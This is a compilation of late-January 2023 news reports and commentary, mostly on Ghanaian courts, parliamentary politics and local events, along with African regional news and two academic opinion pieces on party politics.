Supporting and promoting reliable sources of information by encouraging people to rely on credible sources and be aware of misinformation can help promote truth. Helping people understand how their cognitive biases and logical fallacies can affect their understanding of truth can help them become more critical consumers of information. We must promote self-reflection and self-awareness by encouraging people to reflect on their own experiences and biases. Furthermore, we must create a culture of accountability by holding those who spread misinformation accountable, whether individuals or organizations. It is important to note that promoting truth in society requires ongoing effort and commitment, and it is also important to consider cultural and social contexts.

Truth-telling is essential for every society because it forms the foundation of trust and respect among individuals and institutions. People are likely to make informed decisions and cooperate if they can trust that the information, they receive is accurate and truthful. Also, truth-telling helps prevent the spread of misinformation, which can lead to harmful consequences such as poor public policy, discrimination, and even violence. Without truth-telling, a society may struggle to function effectively and efficiently.
Former Ghana National Petroleum Commission (GNPC) boss, Alex Mould and Gavivina Tamakloe who stood surety for former MASLOC boss, Sedinam Tamakloe have been ordered by the high court to pay GH 5 million which was the bail bond for the former MASLOC boss.

Sedinam Tamakloe who is on trial for wilfully causing financial loss to the state has been absent from trial since October 2021 after she was given permission to seek medical treatment outside the country.

The two sureties were on October 22, 2022, however, tasked by the court to produce the accused.

Failure to do so caused the state to file the application of forfeiture of recognizance which will make the sureties pay for the bail bond.

The court at the last adjourned date however set Tuesday, January 24 to decide on the motion.

The court also asked lawyers for the sureties to authenticate a medical report that purported to explain reasons for the absence of the former MASLOC boss from the trial.

Though the document from a hospital in the United States indicated that the accused had a spinal and eye problem, the court noted that it did not prove that the accused cannot travel to Ghana for medical treatment.

The court further noted that 16 months since the directive for the sureties to produce the accused is enough time for the sureties hence directing for the application forfeiture of recognizance.

The court however is yet to determine an application for the accused to be tried in absentia. The case has since been adjourned to February 7.

citinewsroom
On 23 January, US Secretary of State Antony Blinken made a phone call to Azerbaijani President Ilham Aliyev, Azernews reports per the presidential website.

During the conversation, the US Secretary of State expressed concern over the situation on the Lachin corridor in the territory of Azerbaijan. Antony Blinken reiterated US commitment to normalization of the Armenia-Azerbaijan relations and support for the peace treaty talks.

President Ilham Aliyev said the Lachin-Khankandi road was not blocked, adding some 980 vehicles have passed through this road since December 12, 2022, of which over 850 belonged to the Russian peacekeepers and over 120 to the International Committee of the Red Cross (ICRC).

At the same time, the Azerbaijani president underlined that the ICRC had taken about 90 sick persons and those in need of medical assistance to Armenia. President Ilham Aliyev added these facts show that Azerbaijan did not close the Lachin-Khankandi road.

The president underlined that illegal operations on the mining sites must be stopped in the Azerbaijani territories where the Russian peacekeepers had been temporarily deployed with the permanent conditions to be created for the monitoring by Azerbaijan. The president of Azerbaijan drew Antony Blinkens attention to Armenias use of the Lachin road for the illegal shipment of mines made in 2021.

President Ilham Aliyev reiterated Azerbaijans commitment to the peace process and normalization of relations with Armenia. He underlined that the Armenia-Azerbaijan peace deal must include only the normalization of bilateral relations based on international law and principles, and five principles proposed by Azerbaijan.

President Ilham Aliyev noted that Azerbaijan would ensure the rights and security of the Armenian civilians living in Azerbaijans Karabakh economic zone on the basis of the constitution and laws of the Republic of Azerbaijan.
A 48-year-old businessman has been remanded into Police custody by an Accra Circuit Court over an alleged GHC4,037,107.32 worth of gold fraud.

George Essandoh has denied the charge and he will be brought back to the court on Wednesday, February 1, 2023.

Meanwhile, his accomplices: George Sarpong, Jerry Mohammed, Courage Ambush and Apostle Emmanuel Marwort are currently on the run.

Efforts are underway to apprehend them.

Deputy Superintendent of Police (DSP) Evans Kesse told the Court presided over by Mr Kwabena Koduah Obiri Yeboah that Mr Rowland Noble Amedze and Mr Henry E. Paul, the directors of Infosight Global Resources Incorporation, experts in high tech, solid minerals and gemstone businesses, among others, were the complainants.

He said in 2021, Mr Paul met an account user on Facebook who had introduced himself as Apostle Marwort and during their engagement, he told the complainant he was a businessman who worked for Gold Park Mines, dealers of Gold in Ghana.

The prosecution said Marwort also introduced Sarpong,yet to be arrested, as the Chief Executive Officer of Gold Park Mines and Essandoh as the Companys agent.

The Court heard that Essandoh in his engagement with the complainant demanded and collected USD 696,125 equivalent to GHC4,037,107.32 under the pretext of facilitating the exportation of 250 kg of gold to Thailand.

DSP Kesse said Essandoh after collecting the money failed to deliver the gold to the complainant.

He said the complainant made several efforts to recover his money or get the gold but all failed.

DSP Kesse said a formal complaint was lodged to the Police, which led to the arrest of Essandoh.

GNA
A mother and his children have been left to struggle on their own after the breadwinner took his own life.

The father has been found dead in River Tano at Sehwi Nsawora in the Akontombra District of the Western North Region.

The 45-year-old man identified as Philip Asante left home last week to attend to nature's call.

Shortly after leaving, he is reported to have called his wife, Christiana Asante, and emotionally told her to take care of their children.

Immediately after the message from the deceased who was a driver at the Western North Regional Coordinating Council, the wife was filled with fear and decided to inform the leaders of the community.

With the help of Emmanuel Adu Amankrah who is the Assemblyman for Nsawora electoral area, a search was conducted with the help of police and residents to locate the deceased.

Unfortunately, all efforts proved futile, leaving the wife and her family in constant fear.

Three days later, the body of Philip Asante has been found in the river Tano.

Due to the bad state of the body, the family has opted for immediate burial.

The suspected suicide has left the widow and her children in a state of mourning.
The Member of Parliament (MP) for Ajumako-Enyan-Esiam Constituency in the Central Region, Dr. Cassiel Ato Forson has been reportedly elevated in the ranks of the leadership of the Minority in Parliament.

Information gathered indicates that the Minoritys spokesperson on Finance has been named as the new Leader of the Minority in Parliament.

It is understood that the decision to reshuffle the leadership of the Minority was made during a meeting by the party leadership at its headquarters in Accra.

Dr. Ato Forson replaces Tamale Central MP Haruna Iddrisu who has been Minority Leader for the last six years.

In the shakeup, Ellembelle MP Emmanuel Armah Kofi Buah becomes Deputy Minority Whip to take over from James Klutse Avedzi.

Kwame Governs Agbodza has also been named the Minority Chief Whip to replace Muntaka Mubarak.

Speaking to Citi News on the reshuffle, Member of Parliament for Odododiodio Constituency, Edwin Nii Lante Vanderpuye has said he has no knowledge about the decision.

According to him, if the news is true, then it will be a surprise to him because it goes against how the party goes about its business with regard to how changes of this nature work.

He stresses that even if such a decision has been taken by the National Executive of the party, it will have no consequence on the Minoritys dealings in Parliament.

So far as Im aware we have a very stable caucus. This wont affect us in any way. Once the whip is together, we are formidable, Edwin Nii Lante Vanderpuye said.

Meanwhile, Parliament is expected to resume sitting next month.
The African National Congresss fully black leadership belies its commitment to non-racialism. - Source: Ihsaan Haffejee/Anadolu Agency via Getty Images

24.01.2023 LISTEN

There has been much comment recently on the lack of representation of minorities in the leadership structures of South Africa's governing party, the African National Congress (ANC).

For Douglas Gibson, a former leader of the opposition Democratic Alliance (DA), the exclusively black composition of the ANC's top leadership shows that the ANC is no longer committed to building one nation. He believes

the ANC is clearly not a home for all. Look at its MPs, ministers, MECs, councillors, and mayors  The leadership has place only for black South Africans.

For Gibson, the baton has been passed on to the DA.

At the centre of this debate is the  national question , the drive to build one united democratic nation. This debate has been captured in the scholar Mandla Radebe's fascinating biography , The Lost Prince of the ANC: The Life and Times of Jabulani Nobleman Mzala Nxumalo, 1955-1991.

The book does not only begin to fill a gap in liberation history. It also reminds South Africans of the rich and robust debates that took place by an idealistic generation committed to building a non-racial South Africa. It is a legacy that the ANC needs to recover if it is to rebut those who argue that it is no longer a  home for all .

Who was Mzala?

Mzala was something of a cult figure in ANC circles, celebrated for his intellectual insights. But his premature death at the age of 35 makes him a relatively unknown figure outside the party.

Born and brought up in a closely knit and deeply religious family in rural KwaZulu-Natal, Mzala showed a close interest and ability in scholarly pursuits at an early age. Forced into exile after a student revolt at the University of Zululand in 1976, he rapidly emerged as a leading grassroots intellectual within the ANC and its ally, the South African Communist Party (SACP). He was prolific in his writings and the range of issues he touched on.

The great value of Radebe's book is that it offers the reader a rounded picture of a revolutionary of many unexpected dimensions. He was deeply committed to his family and strongly influenced by his Christian upbringing. His passion was music and the Amandla Cultural Ensemble of the ANC, a cultural group that through its music, poetry, theatre and dance, was used to mobilise international support for the struggle against apartheid.

But what stands out in Radebe's biography is Mzala's contribution to debates on Marxist theory inside the ANC. It was three-fold.

Firstly, he regarded the working class as the driving force of the revolution. Secondly, the motive force behind the revolution was not the exiled leadership, but the masses back home.

History's great call to our movement is to begin a process of de-exiling ourselves, of transferring the initiative of the liberation process to the actual arena of our struggle, inside South Africa (page 143).

But his major contribution was on the difficult debate on the role of ethnicity. Mzala unequivocally wrote that

our democratic republic will definitely develop the positive aspects of my Zulu culture, language and so on, so that I, together with those of my ethnic group, can contribute a cultural flower to the banquet of South African culture (page 236).

In the words of Essop Pahad , who worked closely with Mzala in exile and was later appointed the Minister in the Presidency under Thabo Mbeki:

Perhaps the greatest loss of all is to our party's ongoing attempts to indigenise Marxism-Leninism on South African soil (page 4).

For Mzala, some members of the communist party, such as the doyen of South African Marxists Harold Wolpe , decentred race. Indeed, Radebe reports that Mzala rejected Wolpe as a supervisor of his PhD as he felt that Wolpe downplayed the role of race and elevated class in the debate (page 238).

Sadly Mzala never completed his PhD, and the reader is left not knowing what a scholarly version of his argument would have been. However, Radebe does provide a clue by giving us the working title of the thesis, Ethnicity and the problem of nation-formation in South Africa.

Intellectual contribution

What made Mzala's intellectual contribution distinctive was that it combined a sophisticated grasp of revolutionary theory with a practical engagement with the reality of ethnic nationalism in KwaZulu-Natal. This emerges most clearly in his best-known work, Gatsha Buthelezi: Chief with a Double Agenda . The power of Mangosuthu Buthelezi , as leader of a Bantustan  impoverished areas where the apartheid state decreed blacks belonged to distinct ethnic states, separate from each other and from whites  depended on the apartheid state.

As pressure on the state grew due to internal resistance to apartheid and sanctions from abroad, Buthelezi came to be regarded more and more as a government puppet. His emphasis on Zulu identity over national unity led eventually to a virtual civil war between his Inkatha Freedom Party's mainly Zulu loyalist supporters and ANC members in KwaZulu-Natal and parts of Gauteng province.

Mzala rejected this narrow view of ethnic identity, most clearly expressed (page 8) by Mozambican revolutionary Samora Machel:

For the nation to thrive the tribe must die.

Mzala's more nuanced approach is captured when he wrote (pages 2020-1):

Denunciation of tribalism and ethnic exclusiveness is not denunciation of the ethnic communities themselves. People's democracy does not mean that all cultural and traditional distinctions between the various groups must disappear  what is not needed are bantustans to preserve their cultural heritage.

This is why it is important to revisit Mzala's writings; it reminds all South Africans of the central goal of building one nation in all its ethnic diversity .

Recovering the nation-building project

The national question as it developed in South Africa went well beyond the debate around Buthelezi's Inkatha and Zulu identity ; it was and is a debate about who constitutes the South African nation. For example, the Western Cape Province, which post-1994 has seen sharpened racial tension , is populated by a majority of coloureds with Africans and whites as minorities.

In the light of the ANC's nation-building project, how should these tensions be understood? Does their manifestation show an unresolved national question, activist and democratic Marxist Mazibuko Kanyiso Jara (2002) asks , or a failing nation-building project?

Read more: Can the ANC survive the end of South Africa's heroic epoch?

Although the ANC has often equivocated historically on how best to deal with minority groups , its vision of building one nation has been a crucial contribution to the liberation struggle. By recovering the lost debate on the national question through this comprehensive biography of Mzala, Mandla Radebe has reminded us of the ANC's historic aspiration to build one united non-racial nation.

Edward Webster does not work for, consult, own shares in or receive funding from any company or organization that would benefit from this article, and has disclosed no relevant affiliations beyond their academic appointment.

By Edward Webster, Distinguished Reserach Professor, Southern Centre for Inequality Studies, University of the Witwatersrand
The Ministry of Health (MoH) has issued a release to explain why it is yet to receive an already paid-for Coronavirus vaccine from the African Vaccine Acquisition Trust (AVAT) protocol.

In the latest Auditor-Generals Report, it said it noted that the Ministry of Health on behalf of the Government of Ghana paid an amount of US$120,192,379.80 to UNICEF/AVAT for the supply of vaccines.

However, only 5,109,600.00 doses of vaccines valued at US$38,322,000.00 were supplied to the National Cold Room leaving a difference of US$81,870,379.80 worth of vaccines yet to be supplied by UNICEF/AVAT.

The Auditor-General in its report recommended that the Chief Director of the Ministry of Health should renegotiate with UNICEF/AVAT to recover the outstanding amount.

Today, the Ministry of Health has explained that the remaining vaccines were not delivered because of some challenges.

Due to the unexpected hesitancy, cold chain storage challenges, spontaneous donations as well as manufacturer's storage difficulties, the Ministry in June, 2022, was compelled to agree on a delivery schedule for the remaining 11,052 million doses to be delivered from June to December, 2022. According to the schedule, 1.6million doses were to be delivered from June to December, 2022 to complete the allocation, part of a release from the MoH said on Tuesday, January 24.

While confirming that it has received the June allocation which was delivered in January 2023, the Ministry of Health says it is working with AVAT for a possible review of the contract.

In the meantime, the Ministry continues to work with the AVAT for a possible review of the contract, and would want to assure the public of our commitment to work in the supreme interest of the public, the MoH release noted.

Below is a copy of the release:
Political parties are not always completely united, as most classical political scientists argue. Dissenting opinions and the scramble for party apparatus tend to trigger internal schisms and factions. If these aren't managed well, parties can split. A notable example is the recent emergence of splinter parties from the Justice and Development Party in Turkey.

In Ghana, all three of the country's main political traditions have experienced internal conflicts and sometimes party splits. The Danquah-Busia-Dombo , Nkrumahist and Provisional National Defence Council/Rawlings traditions differ in terms of ideology. The Provisional National Defence Council/Rawlings tradition subscribes to social democracy while the Danquah-Busiasts hold property-owning democratic ideals. The Nkrumahist group is known for socialist beliefs grounded in Nkrumahism  the philosophy of Ghana's first president, Kwame Nkrumah. This tradition focuses on self-reliance and pan-Africanism, and abhors neocolonialism.

The broad traditions have endured since the 1940s, but the parties within them are susceptible to conflicts.

My research explored the possible reasons for factions and schisms in the Nkrumahist parties. I focused on the Convention People's Party and the People's National Convention and interviewed present and past party technocrats, academics and media practitioners. I also reviewed the literature on intra-party conflict, factionalism and fragmentation in Ghana.

The breaking up of parties affects their electoral fortunes. Political party fragmentation often culminates in elite disarray and cynicism among voters.

Party schisms in Ghana

The first account of intra-party squabbles and splintering in Ghana occurred in 1949. This was when Nkrumah and some members of the United Gold Coast Convention youth wing rebelled to form the Convention Peoples Party. It marked the birth of the Nkrumahist tradition in Ghana.

The tradition has had the most splinter parties in Ghana over the years. The People's National Convention, National Independence Party, Peoples' Heritage Party and National Convention Party emerged in 1992. The Progressive People's Party was formed in 2012 and the All People's Congress in 2016.

The Danquah-Busia tradition has also experienced some splits. The most devastating one occurred ahead of the 1979 elections . The tradition, which had just recovered from a coup in 1972, divided into two feuding groups and ultimately two parties emerged: the Popular Front Party and the United National Convention.

Disagreements within the Provisional National Defence Council/Rawlings-inspired National Democratic Congress resulted in splinter parties like the National Reform Party in 1992, Democratic Freedom Party in 2006 and National Democratic Party in 2012.

Despite the divisive tendencies within the National Democratic Party and the New Patriotic Party, they have managed the problems in order to sustain their dominance of Ghanaian politics. However, the Convention Peoples Party and the People's National Convention have failed to manage theirs.

Diagnosis of the problem

I found three major factors that help explain the instability within the Nkrumahist tradition.

First, there is evidence of a personality cult, especially among the old guard. These are individuals who have been described as gatekeepers and have personalised the party apparatus. Foster Abu Sakara , the 2012 presidential candidate of Convention Peoples Party, cited this as a reason for his resignation from the party in 2016.

Second, political opportunism and patronage by some leading party members worsens the schisms. For instance, political personalities like Edward Nasigiri Mahama and Bernard Mornah of the People's National Convention have benefited through political appointments from two major parties in Ghana. Kwabena Duffour and Freddie Blay of the Convention Peoples Party have defected to the National Democratic Party and the New Patriotic Party respectively. The 2012 presidential candidate of the People's National Convention, Hassan Ayariga, is believed to have defected to form the All People's Congress because he was accused of having close relations with the National Democratic Congress.

Finally, I found that ethnocentrism has stalled unity talks between the People's National Convention and the Convention Peoples Party in the past. Ethnocentrism is when an individual views the world from the perspective of his or her own ethnic group. In that regard, the People's National Convention was viewed as a party with restrictive membership to the northern regions of Ghana without any strong appeal to other parts of Ghana. Hence, in coalitions, the Convention Peoples Party has projected itself as true Nkrumahists, labelling the People's National Convention as just an offshoot, as a strategy to lead the coalition.

Ghana's 2024 general elections

Public debates ahead of the 2020 general elections  and currently  suggest that voters are somewhat tired of the three-decade two-horse race between the National Democratic Congress and the New Patriotic Party. With barely two years to Ghana's 2024 general elections, the call for a third force is audible. But its feasibility keeps waning. The recurrent bickering and fragmentation within the Nkrumahist parties raises doubts as to whether they can rise to the call by Ghana's electorate.

I recommend that leaders of all Nkrumahist groups reconsider merger talks so as to form a united front. Second, leaders should focus on building effective and robust structures, rather than political patronage. Finally, Nkrumahists must adopt pragmatic political strategies to appeal to all sections of Ghana's electorate.

Baffour Agyeman Prempeh Boakye does not work for, consult, own shares in or receive funding from any company or organisation that would benefit from this article, and has disclosed no relevant affiliations beyond their academic appointment.

By Baffour Agyeman Prempeh Boakye, PhD Student, University of Delaware
24.01.2023 LISTEN

A second Girls' dormitory at the Wa Senior High Technical School (WASECTECH) in the Wa Municipality has been guttered by fire, bringing the recorded cases to two within 24 hours.

The fire, which started at about 20:19 hours on Monday, January 23, 2023, was recorded after a 10-room-one-storey dormitory for girls in that school was razed by fire on Sunday, January 22, 2023.

Divisional Officer Grade One (DOI) Mr Eugene Asa-Gyekye, the Deputy Commander of the Ghana National Fire Service (GNFS), Upper West Region, said the incident on Monday occurred almost at the same time it occurred on Sunday.

The two separate disasters destroyed the property of the occupants, which include books, food items, mattresses, and clothing, as well as their beds. The damage is estimated at thousands of Ghana Cedis.

A visit to the scene by the Ghana News Agency (GNA) revealed that the affected students were picking up the few pieces of their property that were salvaged by the GNFS.

Some of the affected students who could not endure the trauma collapsed and were rushed to the Upper West Regional and Wa Municipal Hospitals.

At about 09:10 hours when the GNA visited the Wa Municipal Hospital, 15 students were on admission.

The damage caused by the fire would have been dire without the timely intervention of the personnel from the GNFS.

Around 20:19 HRS we had a distress call so immediately we were dispatched to the fire scene, ADI Asa-Gyakye explained.

When we got here one block was engulfed by the inferno  we attacked the fire from left and from the right. We prevented the fire from spreading to the other blocks.

He urged the leadership of the Ghana Education Service in the Region to ensure the provision of fire hydrants in schools for constant availability of water to help ease the work of the GNFS in such incidents.

In an earlier interview with the GNFS on the fire incident at the school, it raised concerns about the design and construction of some storey buildings in some Senior High Schools in the Municipality, saying there were no provision for adequate staircases for easy escape in times of emergency.

Assistant Divisional Officer Grade One (ADOI) Mr Iddrisu Imran, the Wa Municipal Deputy Commander of the Ghana National Fire Service, expressed worry about the non-adherence to the advice of the GNFS in the design and construction of public buildings, such as school facilities.

He recommended the provision of fire hydrants in second-cycle institutions that had running water as well as fire extinguishers to help ensure timely intervention in case of a fire outbreak.

The causes of the fire outbreaks at the school were yet to be established.

The school authorities declined to speak to the media on the incidents when they were contacted on Monday night.

GNA
24.01.2023 LISTEN

The Kumasi Metropolitan Assembly (KMA) in 2022, built over 600 household toilet facilities under the Greater Kumasi Metropolitan Area Sanitation and Water Project (GKMA-SWP).

The Assembly envisages to construct an additional 1,000 household toilets in 2023.

Mr Michael Agyemang, Coordinator for GKMA-SWP at KMA, told the Ghana News Agency that, in all, the Assembly was supposed to construct not less than 3,000 household toilets by the end of 2024.

Next year, we are hoping to do an additional 1,000, so by the time the project ends in 2024, we would have achieved our target, he noted.

He indicated that the KMA would campaign rigorously to improve demands for toilets, prosecute households without toilets and add up more contractors to improve project outcomes.

Mr Agyemang said the only challenge was with delays by the contractors (sub-project implementers) in constructing household toilets for clients after payments which mostly posed a disincentive for the homes.

He said due to the deferments, the Mayor of KMA, Mr Samuel Pyne had met with contractors to find out how best the Assembly could address concerns to expedite construction processes for the people.

According to the Coordinator, the Assembly was still registering households for construction of toilets, adding that, it had registered more than 800 households who had made payments.

Mr Agyemang said the target now was to compile all houses without toilets facilities, educate the owners and prosecute those who would fail to take advantage of the opportunity to register and have toilets in their homes.

He appealed to the people within Kumasi to take advantage of this huge support by the government of Ghana and the World Bank to be able to access toilet facilities before the project elapses.

It is a huge contribution the government of Ghana and the World Bank want to make in the lives of the people of Kumasi, you should be able to welcome the idea and patronize the household to toilets.

"The cost for construction of a full toilet is over GH6,000.00 currently and the government is just asking you to pay only GH1,200 so take advantage, he appealed.

The GKM-SWP for Ghana is a World Bank grant to support the government of Ghana's effort to increase access to improved sanitation and water supply in the GKMA, with emphasis on low income communities.

The project beneficiary metropolitan and municipal assemblies are the KMA, Asokwa, Asokore-Mampong, Kwadaso, Ejisu, Oforikrom, Old Tafo and Suame.

GNA
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Uganda is commissioning the first of its four planned oil drilling rigs and starts drilling the first production well this Tuesday  a key milestone for the country, as Kampala races to meet its target of first crude oil output in 2025.

The discovery of commercial reserves of petroleum under Uganda's Lake Albert was confirmed nearly two decades ago, but production has been repeatedly delayed due to lack of infrastructure.

Taking to the Twitter this Tuesday, the government-run Petroleum Authority of Uganda said: "Today we mark another milestone and move a step closer to first oil with the launch of the drilling of development and production wells for the Kingfisher oil fields."

The PAU, which regulates the petroleum sector, said President Yoweri Museveni was due to officiate at the Spudding (drilling) campaign launch at a site in Kingfisher project area, one of the country's two commercial oil development locations.

Kingfisher, located near the southern flank of Lake Albert in the country's west, is operated by China's CNOOC.

Uganda's second project area,Tilenga, located north of Lake Albert astride River Nile, is operated by France's TotalEnergies.

The two firms co-own all of Uganda's existing oilfields alongside the state-run Uganda National Oil Company.

World's longest oil pipeline

At peak production, Uganda plans to extract about 230,000 barrels of crude oil per day.

The rig being launched this Tuesday, will be used to drill a total of 31 wells on Kingfisher grid while three rigs are set to be deployed later in the Tilenga project area will drill a total of 426 production wells.

The crude oil will be exported through the electrically heated, 1400 kilometre East African Crude Oil Pipeline (EACOP) from Uganda's oilfields to neighbouring Tanzania's Indian Ocean seaport of Tanga.

Once built, EACOP will be the longest oil pipeline in the world and its construction has been condemned by environmental groups.

Uganda's crude reserves are estimated at 6.5 billion barrels, of which 1.4 billion barrels are recoverable.
World Health Organization (WHO) deplores the abduction of Dr Mahamadou Diawara, who was taken by unidentified assailants from his car on 23 January 2023 in the town of Menaka in eastern Mali.

Dr Diawara, deployed by WHO in Menaka since the beginning of 2020, has been leading efforts to provide medical care to communities that are often remote and face insecurity risks and violence.

The driver of his car was also attacked, but the assailants left him behind and he is recovering from the incident.

The motive for the abduction is unclear.

WHO extends our sympathies to the family of Dr Diawara and is working with local authorities to investigate the abduction and ensure our colleagues quick return to his family.

Source: WHOAfricaNews
Cameroon on Tuesday denied asking Canada for any help to mediate an end to years of separatist unrest after Ottawa said it had a mandate to facilitate a peace process.

Following the denial from government spokesman Rene Emmanuel Sadi, the foreign ministry in Canada maintained its version, saying meetings had already taken place with Cameroon government representatives.

"Following recent reports by certain media, the government states... that it has given no country or external body, any role whatsoever as mediator or facilitator," the Yaounde spokesman said in a communique.

It was for Cameroonians to solve the nation's problems, he added.

Canadian Foreign Minister Melanie Joly on Friday detailed a process underway between the Cameroonian government and two self-proclaimed governments.

"Canada welcomes the agreement by the parties to enter a process to reach a comprehensive, peaceful and political resolution of the conflict," Joly said.

"Canada has accepted the mandate to facilitate this process."

"The parties have also agreed to form technical committees to begin work on confidence-building measures," Joly said.

"We are in contact with the parties and our statement holds," Joly's spokesman Adrien Blanchard said Tuesday.

"Three meetings have taken place in Canada between the different parties, including representatives of the government of Cameroon," he added.

Cameroon's primarily English-speaking Northwest and Southwest regions have been gripped by conflict since separatists declared independence in 2017 after decades of grievances at perceived discrimination by the francophone majority.

President Paul Biya, who has ruled the central African nation with an iron fist for 40 years, has resisted calls for wider autonomy and responded with a crackdown.

The conflict in the former French colony has claimed more than 6,000 lives and forced more than one million people to flee their homes, according to the International Crisis Group (ICG) think tank.

Canada said parties to the talks were "the Republic of Cameroon, the Ambazonia Governing Council and the Ambazonia Defence Force, the African People's Liberation Movement and the Southern Cameroons Defence Force, the Interim Government, and the Ambazonia Coalition Team."

Civilians have suffered abuses committed by both sides, NGOs and the United Nations say.

Eighty-percent of Cameroon's population of 24 million are French-speaking.

The presence of the large anglophone minority is a legacy of the colonial era.

The former German possession of Cameroon was partitioned after World War I between Britain and France.

In 1961, part of the British territory, the Southern Cameroons, joined Cameroon after it gained independence from France.
Hundreds of people attended a memorial service in Lusaka on Tuesday for a Zambian student who died fighting for Russia in Ukraine as Tanzania confirmed the death of another student who was also recruited in a Russian jail.

Family members broke down as they filed past the coffin of Lemekani Nyirenda at Lusaka's Baptist church, where the 23-year-old was a regular worshipper before moving to Russia to study nuclear engineering.

Nyirenda was recruited by Russia's Wagner mercenary group last year while serving a nine-and-a-half year jail term for a drug offence and sent to fight in Ukraine.

His death in September sparked a diplomatic spat, with Zambia demanding an urgent explanation from the Kremlin.

Tanzania on Tuesday meanwhile confirmed that Nemes Tarimo, another student, had been killed after also being recruited in jail by Wagner.

"When Tarimo was serving jail, he was given an opportunity to join the Russian army group called Wagner for payment and the promise that he would be freed after the war," Tanzanian Foreign Minister Stergomena Tax said.

"Tarimo agreed and he was taken to Ukraine where he was killed on October 24."

In recent months, men have been recruited from Russian prisons to fight on the front lines in Ukraine with the promise of reduced sentences and attractive fees.

Tarimo, who had been studying in Russia since 2020, was arrested in March 2022 and sentenced to a seven-year jail term for undisclosed reasons.

"It's illegal for a Tanzanian national to join any foreign army," added the foreign minister.

On Tuesday, Nyirenda's father Edwin paid tribute to his son, saying he was a hard worker who helped set up a beehive business for the family.

Edwin Nyirenda told mourners his son had sought a part-time job and "started working as a courier" after posting an advert online when he got into trouble.

The two were last in touch at the end of August when Nyirenda told his father he would return home after going to fight in Ukraine.

Nyirenda's body was repatriated in December and will be laid to rest in a private ceremony in Rufunsa, east of Lusaka, on Wednesday.

Funerals were delayed after some family members raised concerns that the remains might not belong to the student.

But doubts were dispelled by a DNA test, said family spokesman Ian Banda.

"There may be some parts missing but by and large we have the remains of Lemekhani," Banda told journalists after the service.
The National Communications Director of the NPP, Richard Ahiagba has challenged the competence of the opposition NDC following the partys latest changes in parliamentary leadership.

On Tuesday, January 24, the opposition party announced some changes in its leadership in Parliament.

The Ranking Member on Finance, Mr. Cassiel Ato Forson is taking over from Mr. Haruna Iddrisu as the Minority Leader.

The Minority Chief Whip, Hon. Mohammed-Mubarak Muntaka has also been replaced with Mr. Kwame Agbodza.

However, the changes did not sit well with the Asawase MP, Hon. Mohammed-Mubarak Muntaka took to his Facebook page complaining that the leadership took the decision without consulting the caucus.

Someone should tell some of the national executives [of the NDC] that they cannot choose our parliamentary leadership without consulting the caucus," read the former Chief Whips post.

In reaction, the NPP spokesperson posited that the NDC cannot be trusted for managing the country since it could not even handle its internal affairs competently.

He seized the opportunity to court Ghanaians support for the ruling NPP, claiming they are the best party to redeem the nation.

Very interesting that the NDC Headquarters changed the leadership of its Parliamentary Party sans consultation. Straight from the horse's mouth. This is evidence that the NDC is all talk and no action. Charity begins at home. Support the NPP to deliver," read his tweet dated Tuesday, January 24.
National Democratic Congress' Council of Elders Chair for South Africa and the Group Chairman of Allied Consortiums, Mr Benjamin Kofi Quashie has said the changes in NDC leadership in Parliament is meant to hit hard at NPP for its vulnerabilities.

He is of the opinion that looking at the economic quagmire in which Ghana finds itself, debates on the ailing economy need members with economic backgrounds to lead the leadership in Parliament.

This, to him, should not result in any chaotic situation in the party.

According to him, a house divided against itself cannot win any battle.

He averred that chaos, misunderstanding and conflicts are normal within any group, however, he is urging all party members to put their individual differences aside, come together and be battle ready for 2024.

Speaking to Nyansa TV on Tuesday 24th January, 2023 on YouTube concerning the current leadership changes on the NDC front in Parliament, he disclosed that "Chaos isn't a pit. Chaos is a ladder. Many who try to climb it fail and never get to try again. The ladder is real. The climb is all there are comrades. This change in our leadership in Parliament is a sign of us hitting the NPP vulnerabilities."

He stressed that "Matters of our ailing economy need a fiance mind. It all will make sense to us all soon! We've elected fearless and results-driven executives. The NDC would be united and poised to win the election 2024."

Mr Benjamin Kofi Quashie's comment follows the latest changes in the party's leadership in Parliament with Dr. Cassiel Ato Forson replacing Haruna Iddrisu as Minority Leader.

Emmanuel Armah Kofi Buah also replaces James Avedzi as the Deputy Minority Leader while Kwame Agbodza is now the Minority Whip with Ahmed Ibrahim as the first Deputy Whip and Comfort Doyo Ghansah as Second Deputy Whip.

The party informed the Speaker of Parliament in a letter dated January 23, 2023, signed by the General Secretary, Fifi Kwetey.

These changes in the party's leadership in Parliament have generated some agitations within the rank and file of the party.

It is against this background that Mr Benjamin Kofi Quashie has charged party followers to respect the decision of the party.
The Asokore Mampong District Court has remanded 39 students of the Krobea Asante Technical and Vocational school in connection with disturbances and destruction at the school.

A total of 39 accused persons were arraigned out of which 27 are juveniles and 12 are young offenders.

The accused persons have been charged with conspiracy to commit a crime with unlawful entry, causing unlawful damage, and stealing.

Lawyers for the accused persons prayed for the court to grant the students bail, but the prosecution argued otherwise.

Speaking to the media after proceedings, the counsel for the defendants cautioned that It is premature for us to visit the merits of the case, and we cant also go into the content of whatever happened.

The Court was presided over by His Worship Samuel Buaben Quansah described the plea for bail as premature and asked the police to remand the young offenders into police custody and the juveniles at a juvenile home.

The case has been adjourned to 2nd February 2023.

-citinewsroom
Parliament will resume sitting on Tuesday, February 7, after legislators took a break for the Christmas and New Year holidays.

A statement signed by Mr Alban Sumana Kingsford Bagbin, Speaker of Parliament, and issued to the Ghana News Agency in Accra, on Tuesday, said: The Third Session of the Eighth Parliament of the Fourth Republic shall commence at Ten oclock in the forenoon of Tuesday, 7th February, 2023.

It said the Speaker of Parliament, by Clause (1) of Article 112 of the 1992 Constitution, appointed Parliament House, Accra, to be the place of meeting.

Know Ye All Men that in the exercise of the powers conferred on the Speaker by Clause (1) of Article 112 of the Constitution, I, Rt Hon. Alban Sumana Kingsford Bagbin, Speaker of Parliament, by this Constitutional Instrument, appoint Parliament House Accra to be the place.

 and Ten Oclock in the forenoon of Tuesday, 7th February 2023 to be the time at which the Third Session of the Eighth Parliament of the Fourth Republic shall commence, the statement said.

Parliament on Thursday, December 22, 2022, adjourned sine die, for the Christmas break after passing the Appropriation Bill for the 2023 Fiscal Year.

The break also marked the end of the Third Meeting of the Second Session of the Eighth Parliament of the Fourth Republic.

GNA
Chief Justice of Ghana, Justice Kwasi Anin-Yeboah has called on Ghanaians to have confidence in the judicial system.

He made the call during the inauguration of a District Court Complex at Ngleshie Amanfrom in the Ga South Municipality.

The court is here to serve all of us, let us have confidence in the court processes and make use of the facility, he said, adding that, the establishment of the court was in fulfilment of the judiciarys vision to bring justice to the doorsteps of the citizenry.

It is our resolved to build a justice system that ensure our litigants and countrymen had efficient, timely and quality justice delivery.

He further admonished individuals and groups to resort to the Alternative Dispute Resolution mechanism (ADR) rather than go through litigation.

